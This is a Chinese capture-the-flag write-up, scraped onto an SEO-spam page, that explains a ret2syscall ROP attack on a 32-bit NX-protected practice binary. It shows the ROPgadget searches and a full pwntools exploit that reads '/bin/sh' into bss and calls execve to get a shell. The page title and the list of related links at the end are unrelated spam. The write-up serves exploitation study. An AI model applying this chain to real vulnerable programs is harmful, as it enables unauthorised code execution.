当前位置: 首页 > wzjs >正文

濮阳做网站的公司关键词排名优化提升培训

濮阳做网站的公司,关键词排名优化提升培训,百业网,做网站怎么接业务ROP(Return-Oriented Programming,返回导向编程)是一种利用程序已有代码片段来执行任意指令的攻击技术,常用于绕过现代系统的安全机制,尤其是不可执行栈(NX)。 常规检查一下: 32 位…

ROP(Return-Oriented Programming,返回导向编程)是一种利用程序已有代码片段来执行任意指令的攻击技术,常用于绕过现代系统的安全机制,尤其是不可执行栈(NX)

常规检查一下:

32 位程序,小端序,开启了 NX 保护

先用 gdb 测一下偏移:

拿到: 

offset = 44

我们 ret2syscall 实际还是希望调用 execve,和 ret2shellcode 类似,只是多了堆栈不可执行 

所有我们先找 pop eax;ret 的地址

ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"

拿到:

pop_eax = 0x080bb2c6

 继续找另外三个寄存器:

ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

也有,记录地址:

pop_edx_ecx_ebx = 0x0806ecb0

接下来我们找 /bin/sh 字符串的地址

ROPgadget --binary ret2sys --string "/bin/sh"

没有找到,因此我们后面需要手动将 /bin/sh 写到 bss 段

我们先继续找系统调用:

ROPgadget --binary ret2sys --only "int" | grep 0x80

记录地址:

int_0x80 = 0x08049421  //这里有点问题,实际地址应该是0x0806F350

接下来我们需要手动写入 /bin/sh ,找一个具有写权限的段:

我们就从这个 0x80eb000 开始写吧

bss_addr = 0x80eb000

我们先系统调用 read,其 32 位系统调用号是 3,即 0x3

payload:

p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)

后面我们会继续发送内容(/bin/sh)给 read 函数,读取到 bss_addr

由于栈帧是一次性的,因此我们需要一次性把完整的 ROP 链打进去

并且 Linux 下的 int 0x80 系统调用(read)是阻塞型的同步调用

我们继续调用 execve,其 32 位系统调用号是 11,即 0xb

payload:

p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)

最后再发送 /bin/sh 给read函数,完整 exp:

# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有问题 

http://www.dtcms.com/wzjs/371631.html

相关文章:

  • vscode 网站开发精准推广引流5000客源
  • 企业网站建设管理视频武汉seo优化顾问
  • 泊头网站建设的有哪些信阳百度推广公司电话
  • 杭州市上城区建设局网站怎么发布信息到百度
  • 做网上贸易哪个网站好友情链接的作用大不大
  • 六安网站制作公司排名市场营销策划方案模板
  • 丹东网站建免费网站免费
  • flash美食网站论文免费制作网页平台
  • 搭建网站服务器多少钱深圳推广不动产可视化查询
  • 有没有在线辅导家做的网站手机制作网站的软件
  • 免费响应式网站模板seo技术介绍
  • 深圳网站建设服务便宜模板建站价格
  • 建设工程协会网站查询北京知名seo公司精准互联
  • 厦门帮忙建设网站在线客服
  • 怎么做网站互换链接网站收录服务
  • 怎样在网站做友情链接百度上做优化
  • 极客学院 网站建设郑州竞价托管
  • 邵阳网站开发宁波百度快照优化排名
  • 做网站的怎么学以图搜图
  • 软件网站是怎么做的惠州搜索引擎seo
  • 做后期的网站有哪些深圳营销型网站定制
  • 山西大同网站建设价格网络营销岗位职责和任职要求
  • 松岗做网站价格武汉seo哪家好
  • 建一个网站需要多少钱网站怎么做的百度推广产品有哪些
  • wordpress与joomla哪个好网站产品怎么优化
  • 电子商务网站和开发新闻类网站seo技术外包 乐云践新专家
  • 电子商务网站是电子商务企业外贸网站
  • 视频推广软件搜索引擎优化的策略主要有
  • 十个源码网站写软文的平台有哪些
  • 湖北做网站的公司软文发稿系统